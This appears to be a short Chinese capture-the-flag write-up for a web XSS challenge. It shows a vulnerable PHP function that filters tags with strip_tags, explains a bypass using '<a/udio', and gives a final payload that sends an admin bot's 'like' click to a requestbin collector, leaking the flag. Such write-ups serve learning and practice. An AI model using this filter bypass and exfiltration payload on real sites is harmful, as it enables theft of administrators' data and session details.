进去一个登陆注册,先随便注册一个,然后进入以下页面
New post,看到他说都会replace radio,例如我们在我们服务器传一个MP3文件,那么Content内填[[url/xxx.mp3]]就可以播放了,但是这里有csp限制,只能在同一个域内请求,可以去看他给的例子,把例子的复制下来放进[[]]里面就可以播放,但是没卵用,看到下面有个if you check this check box,admin will check your post
感觉就是xss了,F12观察一下是<audio>
标签,插过自动播放,插过很多,疯狂的插,没用,搞了半天是给源码的…
既然给了源码,就看关键部分
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/[[(.+?)]]/', '<audio controls src="\1"></audio>', $str);$str = strip_tags($str, '<audio>'); // only allows `<audio>`return $str;
}
咱就是说,无语了。这里看了一下strip_tags,虽然注释说的是only allows <audio>
,但是这里我们放个斜杠/
他会变成空格,比如<a/udio>
他就变成了<a udio>
那么就想到用a href造成xss,关键是看管理员怎么访问,源码里给了id=like
也就是点赞的这么一个动作,那么让管理员点赞一下我们发的东西应该就可以接受到他的请求,这里要用到BUU提供的内网服务,因为靶机不能访问外网
http://http.requestbin.buuoj.cn/
create一个,然后就懂的都懂
最终payload
<a/udio id=like href=http://http.requestbin.buuoj.cn/yhdw7ryh>
然后可以看到在UA头给了flag
总结
xss,一开始不知道给源码,很难受,所以我们需要细心观察)